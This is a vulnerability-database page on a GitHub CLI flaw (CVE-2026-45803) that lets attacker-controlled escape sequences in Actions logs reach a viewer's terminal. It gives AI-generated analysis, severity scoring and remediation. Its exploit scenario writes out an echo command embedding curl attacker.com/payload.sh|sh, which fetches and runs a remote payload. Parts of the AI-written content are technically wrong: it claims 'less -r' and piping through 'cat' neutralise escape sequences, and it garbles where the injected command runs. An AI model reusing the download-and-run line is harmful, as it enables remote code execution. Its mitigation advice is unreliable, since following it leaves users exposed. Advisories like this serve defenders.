Skip to main content

GitHub CLI CVE-2026-45803

| EUVDEUVD-2026-30549 LOW
Improper Neutralization of Escape, Meta, or Control Sequences (CWE-150)
2026-05-15 GitHub_M GHSA-crc3-h8v6-qh57
3.5
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Create malicious PR
  2. Delivery
    Trigger Actions workflow
  3. Exploit
    Embed escape sequences in logs
  4. Execution
    Victim runs gh run view --log
  5. Persist
    Terminal interprets sequences
  6. Impact
    Execute commands or manipulate display

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Escape character neutralization
Exploitation Conditions

Attacker must possess authenticated GitHub account with pull request creation rights to target repository (public repos accept external PRs, private repos require collaborator access). Exploitation requires victim to execute 'gh run view --log' or 'gh run view --log-failed' commands against a workflow run containing attacker-controlled log output. The victim's terminal emulator must interpret injected escape sequences - modern hardened terminals limit impact to cosmetic changes, while GNU screen, tmux with passthrough enabled, or legacy xterm configurations with allowWindowOps permit command execution. Attack succeeds against default GitHub CLI configurations in versions 1.6.0-2.91.x without requiring non-standard settings. Limiting factors: victim must manually inspect logs (no automatic trigger), attacker cannot force which runs victim examines, and many modern terminals (iTerm2 post-2016, GNOME Terminal 3.x+, Windows Terminal) block command execution sequences by default, reducing impact to window title/content manipulation only.

Impact

The CVSS vector AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N yields a base score of 3.5, indicating network-exploitable but requiring authenticated attacker (PR:L suggests repository contributor access) and victim interaction (UI:R - user must actively view logs). Real-world risk assessment reveals significant nuance: attack complexity is genuinely low once attacker has PR creation rights, as workflow log injection is trivial via echo commands in .github/workflows files. However, the integrity impact (I:L) substantially understates potential consequences in environments using vulnerable terminal emulators. Modern terminals like iTerm2, GNOME Terminal, and Windows Terminal implement escape sequence filtering that limits impact to cosmetic changes (window titles, colors). Legacy multiplexers like GNU screen and older xterm configurations may permit command execution through DCS passthrough, elevating real risk for users of those platforms. No EPSS data provided, and absence from CISA KEV suggests no widespread exploitation campaigns. The requirement for victim to manually inspect logs creates a targeting bottleneck - attackers cannot force execution. GitHub's advisory (GHSA-crc3-h8v6-qh57) provides authoritative confirmation but no POC is referenced. Priority should be moderate for organizations using GitHub CLI in CI/CD pipelines or where developers routinely inspect Actions logs, elevated to high only for confirmed GNU screen users. Key uncertainty: distribution of vulnerable versus hardened terminal emulators in target environments directly determines exploitability gap between CVSS 3.5 theoretical score and practical impact.

Exploit ScenarioDerived

An external contributor forks a public repository and submits a pull request containing a malicious GitHub Actions workflow that executes 'echo -e "\033]0;Malicious Title\007\033[2J\033[H$(curl attacker.com/payload.sh|sh)"' in a workflow step. When the repository maintainer runs 'gh run view --log' to inspect the PR's CI results, their terminal interprets the embedded escape sequences: the OSC sequence changes their window title to 'Malicious Title', CSI codes clear the screen, and if using GNU screen the command substitution executes a remote payload script with the maintainer's shell privileges. The attacker gains code execution in the maintainer's development environment without requiring direct repository access.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 15, 2026

Terminal escape sequence injection in GitHub CLI 1.6.0 through 2.91.x allows authenticated attackers with pull request creation rights to inject malicious terminal control sequences into Actions workflow logs. When victims execute 'gh run view --log' or 'gh run view --log-failed' to inspect workflow runs, unsanitized escape sequences replay in their terminal, enabling window title manipulation, on-screen content alteration, or arbitrary command execution in vulnerable emulators like GNU screen. The attack requires low complexity and user interaction (victim must view logs), with impact limited to terminal integrity. CVSS score of 3.5 reflects low-severity integrity impact, though real-world risk varies significantly by terminal emulator capabilities. No active exploitation confirmed at time of analysis.

RemediationAI

Upgrade GitHub CLI to version 2.92.0 or later, which implements terminal escape sequence sanitization in log output handlers. Users can verify their version with 'gh version' and update via package managers (brew upgrade gh, apt upgrade gh-cli, choco upgrade gh) or direct download from https://github.com/cli/cli/releases/tag/v2.92.0. For environments unable to immediately upgrade, implement compensating controls: configure pager to strip ANSI sequences by setting 'export GH_PAGER="less -r"' which processes color codes but blocks control sequences, or redirect log output through 'gh run view --log | cat' to strip all escape sequences (eliminates color formatting but neutralizes injection). Restrict GitHub Actions workflow modification permissions to trusted contributors only, preventing malicious PR authors from injecting log content. Organizations using GNU screen or other legacy terminal multiplexers should prioritize patching due to elevated command execution risk. Review recent workflow logs for suspicious escape sequences using 'gh run view --log | od -c' to detect non-printable characters. The vendor advisory at https://github.com/cli/cli/security/advisories/GHSA-crc3-h8v6-qh57 confirms no side effects from the 2.92.0 patch beyond the intended sanitization behavior.

Affected VersionsENISA

cli 1.6.0, < 2.92.0

Affected Packages

go github.com/cli/cli no fix
go github.com/cli/cli/v2 fix: 2.92.0
euvd cli_1_6_0 fix: 2.92.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability exploits CWE-150 (Improper Neutralization of Escape, Meta, or Control Sequences) in GitHub CLI's log streaming implementation. The affected commands pipe raw GitHub Actions log output directly to stdout or configured pagers without sanitizing ANSI escape sequences or terminal control characters. GitHub Actions workflows can embed arbitrary text in logs through echo statements, error messages, or tool output. Terminal emulators interpret escape sequences like CSI (Control Sequence Introducer) codes for cursor manipulation, OSC (Operating System Command) sequences for window title changes, and in legacy multiplexers like GNU screen, potentially DCS (Device Control String) sequences that can trigger command execution. The CPE identifier 'cpe:2.3:a:cli:cli:*:*:*:*:*:*:*:*' indicates the CLI product itself, with GitHub confirming the vulnerable code path exists in the run view log display functions from version 1.6.0 forward.

Know when Cli gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 3.5 LOW
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
May 15, 2026 - 17:01 EUVD

DescriptionGitHub Advisory

gh is GitHub’s official command line tool. From 1.6.0 to before 2.92.0, a security vulnerability has been identified in GitHub CLI that could allow terminal escape sequence injection when users view GitHub Actions workflow logs using gh run view --log or gh run view --log-failed. The vulnerability stems from the way GitHub CLI handles raw Actions log output. The gh run view --log and gh run view --log-failed commands stream workflow log lines to stdout or the configured pager without sanitizing terminal control sequences. An attacker who can influence GitHub Actions log content, for example via a PR triggered workflow, can embed escape sequences that are replayed in the user's terminal when they inspect the run. Depending on the victim's terminal emulator, injected sequences could change the window title, manipulate on screen content, or in some terminal emulators (such as screen) potentially execute arbitrary commands. This vulnerability is fixed in 2.92.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 sources
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA MSRC GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

18
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +18
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

More in Cli

View all
CVE-2022-40764 HIGH POC
7.8 Oct 03

Snyk CLI before 1.996.0 allows arbitrary command execution, affecting Snyk IDE plugins and the snyk npm package. Rated h

CVE-2024-52308 CRITICAL
9.6 Nov 14

The GitHub CLI version 2.6.1 and earlier are vulnerable to remote code execution through a malicious codespace SSH serve

CVE-2026-106105 HIGH
8.4 Oct 06

Insecure file permissions in Quasar's development TLS certificate utility (@quasar/ssl-certificate before 2.1.0, shipped

CVE-2026-108259 HIGH
8.2 Oct 09

Code injection in @tinacms/cli versions up to and including 2.7.0 lets a crafted Git branch name break out of the string

CVE-2024-53859 HIGH
7.5 Nov 27

go-gh is a Go module for interacting with the `gh` utility and the GitHub API from the command line. Rated high severity

CVE-2026-56236 MEDIUM
6.8 Jun 21

Symlink-following vulnerabilities in Capgo CLI before version 12.128.2 (npm @capgo/cli < 7.84.6) allow an attacker who c

CVE-2026-57208 MEDIUM
6.2 Oct 23

Path traversal in Entire CLI 0.7.6 and earlier lets a collaborator who can push to the shared `entire/checkpoints/v1` br

CVE-2026-100620 MEDIUM
5.1 Sep 26

Capgo CLI's Android onboarding flow silently grants the Google Play service account it generates the account-wide Play C

CVE-2026-59831 MEDIUM
4.4 Jul 09

Command execution via URI injection in GitHub CLI's `gh codespace jupyter` subcommand (versions 2.10.0-2.95.0) allows an

CVE-2014-3342 MEDIUM
4.0 Sep 12

The CLI in Cisco IOS XR allows remote authenticated users to obtain sensitive information via unspecified commands, aka

CVE-2025-48938 LOW
2.6 May 30

go-gh is a collection of Go modules to make authoring GitHub CLI extensions easier. Rated low severity (CVSS 2.6), this

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy